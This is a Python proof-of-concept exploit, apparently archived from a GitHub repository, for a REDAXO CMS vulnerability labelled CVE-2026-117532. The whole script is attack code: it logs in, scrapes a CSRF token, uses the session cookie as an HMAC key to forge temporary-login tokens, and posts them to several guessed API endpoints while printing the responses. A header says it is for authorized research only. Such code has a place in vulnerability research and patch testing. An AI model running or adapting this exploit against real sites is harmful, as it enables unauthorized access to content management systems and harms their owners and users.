#!/usr/bin/env python3 # Archived for authorized security research only. # Source: https://github.com/asvorg/CVE-2026-117532-poc (see README for attribution/license) import argparse import hashlib import hmac import time from urllib.parse import urljoin, urlsplit import requests from bs4 import BeautifulSoup TIMEOUT = 10 def normalize_url(url: str) -> str: p = urlsplit(url) if p.scheme not in ("http", "https"): raise ValueError("Target must use http or https.") if not p.netloc: raise ValueError("Target must include a hostname.") return url if url.endswith("/") else url + "/" def extract_csrf_token(html: str) -> str: soup = BeautifulSoup(html, "html.parser") field = soup.find("input", attrs={"name": "_csrf_token"}) if field is None: raise RuntimeError("CSRF token not found") token = field.get("value") if not token: raise RuntimeError("CSRF token blank") return token def hash_session_key(login: str, validtime: str, session_key: str) -> str: payload = f"{login}|{validtime}".encode("utf-8") key = session_key.encode("utf-8") return hmac.new(key, payload, hashlib.sha256).hexdigest() def get_auth_cookie(session: requests.Session): # prefer actual REDAXO auth cookie for name in sorted(session.cookies.keys()): if name.startswith("rex_user_"): value = session.cookies.get(name) if value: return value # common fallbacks for name in ("session_id", "rex_session_id", "REDAXO_SESSION", "PHPSESSID"): value = session.cookies.get(name) if value: return value raise RuntimeError("No usable auth cookie found") def login_and_get_session(base_url: str, username: str, password: str): base_url = normalize_url(base_url) login_url = urljoin(base_url, "index.php") session = requests.Session() session.headers["User-Agent"] = "REDAXO-TempLogin-PoC/1.0" page = session.get(login_url, timeout=TIMEOUT, allow_redirects=True) page.raise_for_status() csrf = extract_csrf_token(page.text) form = { "javascript": "1", "rex_user_login": username, "rex_user_psw": password, "_csrf_token": csrf, "rex_user_passkey": "", "rex_user_stay_logged_in": "1", } login_res = session.post(login_url, data=form, timeout=TIMEOUT, allow_redirects=True) print("[login] final url:", login_res.url) print("[login] status:", login_res.status_code) print("[login] cookie names:", sorted(session.cookies.keys())) return session, get_auth_cookie(session) def try_validate_endpoints(session, base_url, login, session_key): candidates = [ "index.php?rex-api-call=history_temporary_login", "index.php?rex-api-call=temporary_login", "index.php?rex-api-call=history_temporary", "index.php?rex-api-call=temporary", "index.php?rex-api-call=history_temporary-login", # still invalid, but worth testing if weird ] for candidate in candidates: validate_url = urljoin(normalize_url(base_url), candidate) validtime = str(int(time.time()) + 300) token = hash_session_key(login, validtime, session_key) payload = { "login": login, "validtime": validtime, "token": token, } r = session.post(validate_url, data=payload, timeout=TIMEOUT, allow_redirects=True) print("[candidate] URL:", validate_url) print("[candidate] status:", r.status_code) print("[candidate] token:", token) print("[candidate] body:", r.text[:500]) if r.status_code not in (500, 404): return validate_url, validtime, token, r raise RuntimeError("No usable API endpoint found") def main(): parser = argparse.ArgumentParser() parser.add_argument("--target", required=True) parser.add_argument("--login", required=True) parser.add_argument("--password", required=True) args = parser.parse_args() session, session_key = login_and_get_session(args.target, args.login, args.password) validate_url, validtime, token, resp = try_validate_endpoints( session, args.target, args.login, session_key, ) print("[final] validation URL:", validate_url) print("[final] validtime:", validtime) print("[final] token:", token) print("[final] response status:", resp.status_code) print("[final] final URL:", resp.url) print("[final] response:", resp.text[:2000]) if __name__ == "__main__": main()